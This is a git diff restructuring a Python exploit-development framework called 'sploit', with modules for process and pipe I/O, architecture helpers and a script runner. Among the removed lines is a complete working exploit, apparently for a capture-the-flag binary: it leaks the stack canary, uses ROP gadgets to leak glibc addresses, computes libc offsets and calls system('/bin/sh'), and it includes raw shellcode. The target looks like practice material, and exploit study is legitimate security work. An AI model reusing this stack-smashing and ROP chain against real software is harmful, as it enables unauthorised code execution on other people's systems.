diff options
Diffstat (limited to 'tools')
-rw-r--r-- | tools/sploit/__init__.py | 4 | ||||
-rw-r--r-- | tools/sploit/setup.py | 7 | ||||
l--------- | tools/sploit/sploit | 1 | ||||
-rwxr-xr-x | tools/sploit/sploit.py | 206 | ||||
-rw-r--r-- | tools/sploit/sploit/__init__.py | 2 | ||||
l--------- | tools/sploit/sploit/__main__.py | 1 | ||||
-rw-r--r-- | tools/sploit/sploit/arch.py | 28 | ||||
-rw-r--r-- | tools/sploit/sploit/comm.py | 152 | ||||
-rw-r--r-- | tools/sploit/sploit/log.py | 6 | ||||
-rw-r--r-- | tools/sploit/sploit/main.py | 59 | ||||
-rw-r--r-- | tools/sploit/sploit/mem.py | 15 | ||||
-rw-r--r-- | tools/sploit/sploit/until.py | 14 | ||||
-rwxr-xr-x | tools/sploit/sploitconfig.py | 13 | ||||
-rwxr-xr-x | tools/sploit/sploitlog.py | 17 | ||||
l--------- | tools/sploit/sploitpipe | 1 | ||||
-rwxr-xr-x | tools/sploit/sploitpipe.sh | 21 | ||||
-rwxr-xr-x | tools/sploit/sploitrunner.py | 38 | ||||
-rwxr-xr-x | tools/sploit/sploitutil.py | 34 |
18 files changed, 290 insertions, 329 deletions
diff --git a/tools/sploit/__init__.py b/tools/sploit/__init__.py new file mode 100644 index 0000000..8a53886 --- /dev/null +++ b/tools/sploit/__init__.py @@ -0,0 +1,4 @@ +from os.path import join, dirname +libpath=join(dirname(__file__),"sploit") +__path__ = [libpath] +exec(open(join(libpath,"__init__.py")).read()) diff --git a/tools/sploit/setup.py b/tools/sploit/setup.py new file mode 100644 index 0000000..eb1b299 --- /dev/null +++ b/tools/sploit/setup.py @@ -0,0 +1,7 @@ +from setuptools import setup +setup( + name='sploit', + version='0', + packages=['sploit'], + entry_points={"console_scripts":["sploit=sploit.main:main"]} + ) diff --git a/tools/sploit/sploit b/tools/sploit/sploit deleted file mode 120000 index 1ba655a..0000000 --- a/tools/sploit/sploit +++ /dev/null @@ -1 +0,0 @@ -sploit.py
\ No newline at end of file diff --git a/tools/sploit/sploit.py b/tools/sploit/sploit.py index b277cb0..fd9b482 100755 --- a/tools/sploit/sploit.py +++ b/tools/sploit/sploit.py @@ -1,205 +1,3 @@ #!/usr/bin/env python3 - -#if sploit is called with command line arguments, -#it will use them to call the target program with popen -#otherwise, sploit will use stdin/stdout -#you can use sploitpipe to run sploit with pipes spltin/spltout -#which can be used with the target program -#<spltin ./target &>spltout -#or from within gdb -#r <spltin &>spltout -#if given a program name on the command line, we'll use popen -#otherwise, we use stdin/stdout -#in the latter case, you can use sploitpipe to set up spltin and spltout - -import time - -import sploitutil as util -import sploitrunner - -#specify which glibc offsets to use -testing = True - -#puts,system,and binsh string offsets into glibc -#https://libc.blukat.me/ -#https://libc.rip/ -#search two functions and the least significant 12 bits of their address -#then use the resulting glibc to get offsets for the exploit -#for whatever reason, some of these are off by a small amount -#printing the contents out(even bytes of instructions) -#and comparing to what I expect in gdb has been enough to figure it out -#also, if we have the actual library -#objdump -T libc.so | grep '_puts' -#xxd libc.so | grep '/bin' - -#my kali glibc (puts:0x5f0,setvbuf:0xcd0) -#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0 -#libc6_2.31-9_amd64 -#str_bin_sh was off for this one. I had to subtract 0x04 to get it right -libc_offset = util.itob(0x0765f0) -libc_system = util.itob(0x048e50) -libc_execve = util.itob(0x0cb6c0) -libc_exit = util.itob(0x0cb670) -libc_binsh = util.itob(0x18a152) -libc_poprdx_poprbx = util.itob(0x1376e2) -#target glibc (puts:0x5a0,setvbuf:0xe60) -#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60 -#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same) -if not testing: - libc_offset = util.itob(0x0875a0) - libc_system = util.itob(0x055410) - libc_execve = util.itob(0x0e62f0) - libc_exit = util.itob(0x0e6290) - libc_binsh = util.itob(0x1b75aa) - libc_poprdx_poprbx = util.itob(0x162866) - -frame_len = 0x108 - -string = b'Hello, World!\n' - -shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string - -payloads = { - 'null' : util.itob(0x00), - #stack smash - 'fill' : b'A'*(frame_len), - 'string' : string+b'A'*(frame_len-len(string)), - 'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode, - 'canary' : util.itob(0xdeadbeef), - #stack addresses - 'buffaddr' : util.itob(0x7fffffff0000), - #static addresses - 'startaddr' : util.itob(0x4005d0), - 'targetaddr' : util.itob(0x400725), - 'pltaddr' : util.itob(0x4005c0), - 'gotaddr' : util.itob(0x600fe8), - 'gotaddr2' : util.itob(0x601030), - #rop gadgets - 'ret' : util.itob(0x400801), - 'poprdi' : util.itob(0x400873), - 'poprsi_popr15' : util.itob(0x400871) -} - - -def sploit(stdin, stdout): - c = util.Communication(stdin,stdout) - - def preamble(): - #preamble - c.recv() - #smash the stack up to canary - #+ a newline to overwrite the null and delimit the next two readlines - c.send( payloads['fill'] - +b'\n') - #most of the echo - c.recv() - #get the canary from the echo - out = c.recv() - canary = b'\x00'+out[:7] - return canary - - #rop to find the address of setvbuf in memory - #for the purpose of looking up the glibc offsets in a database - canary = preamble() - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got - ropchain += payloads['pltaddr'] #ret puts - #rop to find the address of puts in memory - #for the purpose of looking up the glibc offsets in a database - #and then we will use this to calculate our glibc base at runtime - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += payloads['gotaddr'] #rdi; pointer to puts.got - ropchain += payloads['pltaddr'] #ret puts - ropchain += payloads['startaddr'] #ret _start to fix stack - #smash stack again, but with canary and rop - #this will print out the address of puts in memory - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - - #get the glibc puts address - c.recv() - out = c.recv() - libc_addr = out[:8] - #if puts() terminated on a \x00 (like the most sig bits of an address) - #our [:8] might get less than 8 bytes of address + a newline - #so strip that newline - if libc_addr[-1:] == b'\n': - libc_addr = libc_addr[:-1] - #calculate glibc base address - libc = util.Libc(libc_addr,libc_offset) - libc_base = libc.base() - #use that to calculate other glibc addresses - system_addr = libc.addr(libc_system) - execve_addr = libc.addr(libc_execve) - exit_addr = libc.addr(libc_exit) - binsh_addr = libc.addr(libc_binsh) - poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx) - - canary = preamble() - #print first few bytes of glibc - #this is to validate our offset - #a proper ELF file starts with '\x7fELF' - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += libc_base #rdi; pointer to glibc - ropchain += payloads['pltaddr'] #ret puts - #rop to puts("/bin/sh") - #this is to validate our offset - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += binsh_addr #rdi; pointer to "/bin/sh" - ropchain += payloads['pltaddr'] #ret puts - ropchain += payloads['startaddr'] #ret _start - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - c.recv() - c.recv() - - #rop to execve("/bin/sh",0,0) - #canary = preamble() - #ropchain = payloads['poprdi'] #pop rdi,ret - #ropchain += binsh_addr #rdi; pointer to "/bin/sh" - #ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret - #ropchain += payloads['null'] #rsi - #ropchain += payloads['null'] #r15 - #ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret - #ropchain += payloads['null'] #rdx - #ropchain += payloads['null'] #rbx - #ropchain += execve_addr #ret execve - #ropchain += payloads['poprdi'] #pop rdi,ret - #ropchain += payloads['null'] #rdi 0 - #ropchain += exit_addr #ret exit to exit cleanly - - #rop to system("/bin/sh") - canary = preamble() - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += binsh_addr #rdi; pointer to "/bin/sh" - ropchain += payloads['ret'] #extra ret for 16byte stack alignment - ropchain += system_addr #ret system - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += payloads['null'] #rdi 0 - ropchain += exit_addr #ret exit to exit cleanly - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - - #we need to synchronize when read() finishes before sending more data - #we could insert another puts() into the rop and call c.recv() - #or we can just sleep for a second - time.sleep(1) - - #try some shell commands - c.send(b'whoami\n') - c.send(b'pwd\n') - c.send(b'ls\n') - c.send(b'cat flag\n') - c.send(b'cat flag.txt\n') - c.send(b'exit\n') - - return - -#run our sploit -sploitrunner.runsploit(sploit) +from sploit.main import main +main() diff --git a/tools/sploit/sploit/__init__.py b/tools/sploit/sploit/__init__.py new file mode 100644 index 0000000..5082cfa --- /dev/null +++ b/tools/sploit/sploit/__init__.py @@ -0,0 +1,2 @@ +__all__ = ["log","comm","until","arch","mem"] +from sploit import log, comm, until, arch, mem diff --git a/tools/sploit/sploit/__main__.py b/tools/sploit/sploit/__main__.py new file mode 120000 index 0000000..98537fc --- /dev/null +++ b/tools/sploit/sploit/__main__.py @@ -0,0 +1 @@ +../sploit.py
\ No newline at end of file diff --git a/tools/sploit/sploit/arch.py b/tools/sploit/sploit/arch.py new file mode 100644 index 0000000..d75bbda --- /dev/null +++ b/tools/sploit/sploit/arch.py @@ -0,0 +1,28 @@ +def btoi(b, signed=False): + return int.from_bytes(b, arch.endianness, signed=signed) + +def itob(i, signed=False): + return i.to_bytes(arch.wordsize, arch.endianness, signed=signed) + +class Arch: + def __init__(self, wordsize, endianness, alignment, nop): + self.wordsize = wordsize + self.endianness = endianness + self.alignment = alignment + self.nop = nop + +archx86 = Arch( + wordsize = 4, + endianness = "little", + alignment = 16, + nop = b'\x90' +) + +archx86_64 = Arch( + wordsize = 8, + endianness = "little", + alignment = 16, + nop = b'\x90' +) + +arch = archx86_64 diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py new file mode 100644 index 0000000..7d6cd8c --- /dev/null +++ b/tools/sploit/sploit/comm.py @@ -0,0 +1,152 @@ +import subprocess +import tempfile +import os +import sys +import select + +from sploit.log import log +from sploit.until import bind + +class Comm: + logonread = True + flushonwrite = True + + def __init__(self, backend): + self.back = backend + + def read(self, size): + data = os.read(self.back.stdin.fileno(), size) + if(data == b''): + raise BrokenPipeError('Tried to read on broken pipe') + if self.logonread : log(data) + return data + + def readline(self): + data = self.back.stdin.readline() + if(data == b''): + raise BrokenPipeError('Tried to read on broken pipe') + if self.logonread : log(data) + return data + + def readall(self): + data = b'' + for line in self.back.stdin: + log(line) + data += line + return data + + def readuntil(self, pred, /, *args, **kwargs): + data = b'' + pred = bind(pred, *args, **kwargs) + l = self.logonread + self.logonread = False + while(True): + data += self.read(1) + if(pred(data)): + break + self.logonread = l + if self.logonread : log(data) + return data + + def readlineuntil(self, pred, /, *args, **kwargs): + dataarr = [] + pred = bind(pred, *args, **kwargs) + while(True): + dataarr.append(self.readline()) + if(pred(dataarr)): + break + return dataarr + + def write(self, data): + self.back.stdout.write(data) + if self.flushonwrite : self.back.stdout.flush() + + def writeline(self, data): + self.write(data + b'\n') + + def interact(self): + print("<--Interact Mode-->") + stdin = sys.stdin.buffer + os.set_blocking(self.back.stdin.fileno(), False) + os.set_blocking(stdin.fileno(), False) + poll = select.poll() + poll.register(self.back.stdin, select.POLLIN) + poll.register(stdin, select.POLLIN) + brk = False + def readall(read, write): + while(True): + data = read() + if(data == b''): + break + write(data) + readtable = { + stdin.fileno() : lambda : readall(stdin.readline, self.write), + self.back.stdin.fileno() : lambda : readall(self.back.stdin.readline, log) + } + readtable[self.back.stdin.fileno()]() + while(not brk): + try: + ioevents = poll.poll(100) + for ev in ioevents: + if(ev[1] & select.POLLIN): + readtable[ev[0]]() + else: + brk = True + break + except KeyboardInterrupt: + break + os.set_blocking(self.back.stdin.fileno(), True) + os.set_blocking(stdin.fileno(), True) + print("<--Interact Mode Done-->") + +class Process: + def __init__(self, args): + print(f"Running: {' '.join(args)}") + self.proc = subprocess.Popen(args, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + preexec_fn=lambda : os.setpgrp()) + print(f"PID: {self.proc.pid}") + self.stdin = self.proc.stdout + self.stdout = self.proc.stdin + + def __del__(self): + if getattr(self, 'proc', None) == None : return + if(self.proc.poll() != None): + return + try: + print("Waiting on Target Program to End...") + print("Press Ctrl+C to Forcefully Kill It...") + self.proc.wait() + except KeyboardInterrupt: + self.proc.kill() + +class Pipes: + def __init__(self, tmp=None): + if(tmp == None): + self.dir = tempfile.TemporaryDirectory() + dirname = self.dir.name + else: + if(not os.path.exists(tmp)): + os.mkdir(tmp) + dirname = tmp + self.pathin = os.path.join(dirname, "in") + self.pathout = os.path.join(dirname, "out") + os.mkfifo(self.pathin) + os.mkfifo(self.pathout) + print("Waiting on Target to Connect...") + print("<"+self.pathin+" >"+self.pathout) + self.stdout = open(self.pathin, "wb") + self.stdin = open(self.pathout, "rb") + print("Connected!") + + def __del__(self): + try: + if getattr(self,'stdout',None) : self.stdout.close() + if getattr(self,'stdin',None) : self.stdin.close() + except BrokenPipeError: + pass + if getattr(self,'pathin',None) and os.path.exists(self.pathin) : os.unlink(self.pathin) + if getattr(self,'pathout',None) and os.path.exists(self.pathout) : os.unlink(self.pathout) + diff --git a/tools/sploit/sploit/log.py b/tools/sploit/sploit/log.py new file mode 100644 index 0000000..cd9c3be --- /dev/null +++ b/tools/sploit/sploit/log.py @@ -0,0 +1,6 @@ +ENCODING = '' +def log(s): + if ENCODING != '': + s = s.decode(ENCODING) + print(s) + diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py new file mode 100644 index 0000000..0bc799e --- /dev/null +++ b/tools/sploit/sploit/main.py @@ -0,0 +1,59 @@ +import argparse +import tempfile +import traceback + +from sploit.comm import * + +def main(): + parser = argparse.ArgumentParser(description='Execute Sploit Script Against Target') + parser.add_argument('-d', '--daemon', action='store_true', + help='run in "daemon" mode with pipes instead of a designated target') + parser.add_argument('script', + help='exploit script to run') + parser.add_argument('target', nargs=argparse.REMAINDER, + help='target program to exploit') + args = parser.parse_args() + + try: + if(len(args.target)>0): + if(args.daemon): + print("Target Given. Ignoring Daemon Flag...") + target(args.script, args.target) + else: + if(args.daemon): + daemon(args.script) + else: + pipe(args.script) + except KeyboardInterrupt: + pass + +def daemon(script): + print("Running in Pipe Daemon Mode...") + with tempfile.TemporaryDirectory() as tmpdir: + while(True): + try: + p = Pipes(tmpdir) + except KeyboardInterrupt: + break + try: + runscript(script, Comm(p)); + except KeyboardInterrupt: + pass + except: + traceback.print_exc() + del p + +def pipe(script): + print("Running in Pipe Mode..."); + runscript(script, Comm(Pipes())); + +def target(script, target): + print("Running in Target Mode...") + runscript(script, Comm(Process(target))); + +def runscript(script, comm): + print("Running Script...") + exec(open(script).read()) + print("Script Finished!") + comm.readall() + diff --git a/tools/sploit/sploit/mem.py b/tools/sploit/sploit/mem.py new file mode 100644 index 0000000..6de32f8 --- /dev/null +++ b/tools/sploit/sploit/mem.py @@ -0,0 +1,15 @@ +class Symtbl: + def __init__(self, base=0, **kwargs): + self.__dict__ = {'base' : base, **kwargs} + + def __getattribute__(self, sym): + a = object.__getattribute__(self, sym) + if sym in object.__getattribute__(self,'__dict__') and sym != 'base': + return self.base + a + else: + return a + + def addr(self, sym, addr): + if sym == 'base' : self.base = addr + else: self.base = addr - object.__getattribute__(self, sym) + diff --git a/tools/sploit/sploit/until.py b/tools/sploit/sploit/until.py new file mode 100644 index 0000000..b4f390f --- /dev/null +++ b/tools/sploit/sploit/until.py @@ -0,0 +1,14 @@ +from functools import partial as bind +import re + +def lastline(pred, /, *args, **kwargs): + s = args[-1] + args = args[:-1] + p = bind(pred, *args, **kwargs) + return p(s[-1]) + +def contains(regex, s): + return re.search(regex, s) + +def equals(regex, s): + return re.fullmatch(regex, s) diff --git a/tools/sploit/sploitconfig.py b/tools/sploit/sploitconfig.py deleted file mode 100755 index 084a59d..0000000 --- a/tools/sploit/sploitconfig.py +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env python3 - -import sys - -#if given a program name on the command line, we'll use popen -#otherwise, we use stdin/stdout -#in the latter case, you can use sploitpipe to set up spltin and spltout -use_popen = len(sys.argv) > 1 -#sleep for this many seconds to give time to attach gdb -wait_for_gdb = 0 -#will decode output with this encoding for printing -#or if empty, will print as bytes -log_encoding = ''#'utf-8' diff --git a/tools/sploit/sploitlog.py b/tools/sploit/sploitlog.py deleted file mode 100755 index eab1fc7..0000000 --- a/tools/sploit/sploitlog.py +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python3 - -import os - -import sploitconfig as config - -#this function does not look at the run mode and will write to stdout regardless -#use sploitutil.log instead -def sploitlog(s): - if config.log_encoding != '': - s = s.decode(config.log_encoding) - print(s) - -if __name__ == '__main__': - stdin = os.fdopen(0,"rb") - for s in stdin: - sploitlog(s) diff --git a/tools/sploit/sploitpipe b/tools/sploit/sploitpipe deleted file mode 120000 index 3e5a956..0000000 --- a/tools/sploit/sploitpipe +++ /dev/null @@ -1 +0,0 @@ -sploitpipe.sh
\ No newline at end of file diff --git a/tools/sploit/sploitpipe.sh b/tools/sploit/sploitpipe.sh deleted file mode 100755 index a761ad5..0000000 --- a/tools/sploit/sploitpipe.sh +++ /dev/null @@ -1,21 +0,0 @@ -#!/bin/bash - -#sets up sploit.py to use the input/output of a target program -#after running ./sploit you can launch the target program with -#<spltin ./target_program &>spltout -#also works in gdb -#r <spltin &>spltout -#or run the program in the background and set the gdb wait timer in sploit.py -# <spltin ./target_program &>spltout & -# gdb -p <pid that gets printed out when backgrounding target> - -rm spltin 2> /dev/null -rm spltout 2> /dev/null - -mkfifo spltin -mkfifo spltout - -<spltout tee >(./sploit.py &>spltin) | ./sploitlog.py - -rm spltin -rm spltout diff --git a/tools/sploit/sploitrunner.py b/tools/sploit/sploitrunner.py deleted file mode 100755 index f0e5ac6..0000000 --- a/tools/sploit/sploitrunner.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python3 - -import os -import sys -import subprocess -import time - -import sploitconfig as config -import sploitutil as util - -#infrastructure to run sploit -#if sploit is called with command line arguments, -#it will use them to call the target program with popen -#otherwise, sploit will use stdin/stdout -#you can use sploitpipe to run sploit with pipes spltin/spltout -#which can be used with the target program -#<spltin ./target &>spltout -#or from within gdb -#r <spltin &>spltout -def runsploit(sploit): - if config.use_popen: - print(sys.argv[1:]) - p = subprocess.Popen(sys.argv[1:],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT) - - stdin = p.stdout if config.use_popen else os.fdopen(0,"rb") - stdout = p.stdin if config.use_popen else os.fdopen(1,"wb") - - if config.wait_for_gdb > 0: - time.sleep(config.wait_for_gdb) - - #exec custom sploit - sploit(stdin,stdout) - - #read anything else out and wait for termination - for line in stdin: - util.log(line) - if config.use_popen: - p.wait() diff --git a/tools/sploit/sploitutil.py b/tools/sploit/sploitutil.py deleted file mode 100755 index 00d2151..0000000 --- a/tools/sploit/sploitutil.py +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env python3 - -import sploitconfig as config -from sploitlog import sploitlog - -def btoi(b): - return int.from_bytes(b,'little') - -def itob(i): - return i.to_bytes(8,'little',signed=True) - -class Libc: - def __init__(self,libc_addr,libc_offset): - self.libc_base = btoi(libc_addr)-btoi(libc_offset) - def base(self): - return itob(self.libc_base) - def addr(self,offset): - return itob(self.libc_base + btoi(offset)) - -def log(s): - if config.use_popen: - sploitlog(s) - -class Communication: - def __init__(self,stdin,stdout): - self.stdin = stdin - self.stdout = stdout - def send(self,s): - self.stdout.write(s) - self.stdout.flush() - def recv(self): - out = self.stdin.readline() - log(out) - return out |